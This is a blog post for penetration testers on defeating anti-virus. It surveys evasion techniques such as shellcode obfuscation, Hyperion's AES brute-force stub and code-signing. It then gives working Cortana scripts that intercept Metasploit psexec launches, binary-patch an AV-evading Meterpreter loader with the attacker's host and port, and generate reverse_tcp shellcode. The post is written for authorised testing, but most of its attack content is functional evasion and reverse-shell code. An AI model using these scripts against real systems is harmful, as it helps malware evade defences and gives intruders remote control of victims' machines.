Part of a penetration tester’s job is to deal with security products, such as anti-virus. Those of us that use the open source Metasploit Framework know that AV vendors have given the framework more attention in the past year. Now, exotic templates and multiple iterations through the framework’s encoders are not always enough to defeat the products we face in the field.
In this blog post, I’ll walk you through a quick survey of ways to create an executable that defeats anti-virus. I will then show you how you may use Cortana to automatically use one of these techniques with Armitage and Cobalt Strike’s workflow.
Defeating anti-virus is an arms race. A common way to defeat anti-virus is to create a new executable, obfuscate your shellcode, stuff it into the executable, have the executable decode the shellcode at runtime, and execute it. These types of executables are very easy to write. To defeat this simple trick, some anti-virus products emulate binaries in a sandbox hoping to detect something that matches a known bad pattern in a short amount of time. The game then becomes, how do we create something anti-virus products haven’t seen or fool this sandbox emulation so the AV product doesn’t ever see our shellcode in a decoded state.
One option to turn our shellcode into something anti-virus products haven’t seen is Assembly Ghost Writing (HOWTO, original paper). Simply disassemble your shellcode, add junk calls and branches, and assemble into a new executable. Clever developers can automate this process too. Unfortunately, heuristics in some anti-virus products may catch on to your plan.
Hyperion (HOWTO, original paper) is a novel solution to get past the sandbox. Hyperion creates an executable with an AES encrypted version of your shellcode. To defeat sandbox emulation, the executable brute forces the AES key (it’s a small key) to decode your shellcode. This works well until AV vendors start writing rules to detect the AES brute force stub in the generated executable. According to the material on Hyperion’s site, Hyperion will try to mitigate some of this by using techniques like Assembly Ghostwriting to obfuscate its stub.
Another option is to buy a code-signing certificate and sign your executable. Some anti-virus products give a free pass to signed executables.
There are many ways to create an executable that passes anti-virus. No one technique is a silver bullet to defeat all products into perpetuity though. Part of our job as penetration testers is to figure out which technique makes sense for our engagement.
Access to an anti-virus safe executable is important for the maneuver phase of an engagement. Metasploit Framework modules such as psexec and current_user_psexec rely on a Metasploit Framework generated executable by default. If you use this default executable, anti-virus will catch you.
If you have your own executable, you can use it through Armitage or Cobalt Strike. Navigate to the psexec module, go to advanced options, and define EXE::Custom to your executable. If you’d like the framework to always use your executable, then open a console and type: setg EXE::Custom /path/to/yourexecutable.exe.
EXE::Custom is a great point to hook into the framework. It does add some work though. You have to keep track of the executables you generate and which payload handler they map to. If you forget to create a handler (or misconfigure it), then your attack won’t work. *cough*This is a big problem for me*cough*.
Wouldn’t it be nice if you could plug your favorite anti-virus bypass technique into the workflow of Armitage and Cobalt Strike? Well, thanks to Cortana, you can.
Cortana filters let you intercept user actions and change them before they’re passed to the Metasploit Framework. With the user_launch filter, we can define a filter that notices a psexec or current_user_psexec module launch, and set the EXE::Custom to our custom executable every time.
This Cortana script will intercept the psexec and current_user_psexec modules, patch an AV-safe executable using the parameters the user launched the module with, and set EXE::Custom appropriately.
# a cortana filter, fired when a user launches a module filter user_launch { local('$custom_exe'); # is the user launching psexec of some sort? I want in 🙂 if ($2 eq "windows/smb/psexec" || $2 eq "windows/local/current_user_psexec") { # has the user define a custom payload already? bail if they have. if ($3['EXE::Custom'] ne "") { return @_; } # this AV bypass demo is windows/meterpreter/reverse_tcp only... if ($3['PAYLOAD'] ne "windows/meterpreter/reverse_tcp") { println("[-] $2 / $3 is using an incompatible payload... doing nothing"); return @_; } # patch loader.exe with our host and port $custom_exe = patch_loader_exe($3['LPORT']); # upload the custom file to the team server (if there is one), store its path $custom_exe = file_put($custom_exe); # update the payload options to use our new executable $3['EXE::Custom'] = $custom_exe; # change the wait for session delay to a higher value $3['WfsDelay'] = 60; } # return our original arguments. Changes to $3 will affect this array. return @_; }
In this example, I’m using the Meterpreter stage-1 I wrote awhile back as an AV-bypass executable. I wrote this stage-1 not to bypass AV, but as an example of how to stage Meterpreter from a C program. At the time, few anti-virus programs picked it up though. So it’ll work for our purposes. Here’s the code to modify this executable on the fly:
sub patch_loader_exe { local('$patch $handle $data $tempf'); # ok, let's create a patch for loader.exe with the desired host/port. $patch = pack("Z20 I-", lhost(), $1); # read in loader.exe $handle = openf(script_resource("loader.exe")); $data = readb($handle, -1); closef($handle); # patch it. $data = strrep($data, "A" x 24, $patch); # write out a temporary file. $tempf = ticks() . ".exe"; $handle = openf("> $+ $tempf"); writeb($handle, $data); closef($handle); # delete our temp file when this app closes delete_later($tempf); return $tempf; }
The entire package is on Github if you’d like to try it out. You can use this snippet in Armitage or Cobalt Strike.
If you’d like to use another AV-bypass solution (beyond my simple loader from a few weeks ago), you will need the ability to generate shellcode from Cortana. Here’s the long way to do it:
local('$options $shellcode'); $options = %( LHOST => lhost(), LPORT => 4444, PAYLOAD => "windows/meterpreter/reverse_tcp"), EXITFUNC => "process", Encoder => "generic/none", Iterations => 0); $shellcode = call("module.execute", "payload", $options['PAYLOAD'], $options)['payload'];
And the easy way (use Cortana’s &generate function):
$shellcode = generate("windows/meterpreter/reverse_tcp", lhost(), 4444, %(), "raw");
Armitage and Cobalt Strike both give you a workflow for your penetration testing purposes. Cortana gives you full control of this workflow. You’re empowered you to use the right solution for your situation.
Pssst: For licensed Cobalt Strike users, I’ve made a similar script available. The Cobalt Strike version of this script intercepts the psexec and current_user_psexec modules, generates shellcode for the desired listener, encodes the shellcode, and places this encoded shellcode into an executable. The executable, source code, and script are available by going to Help -> Arsenal in today’s Cobalt Strike update.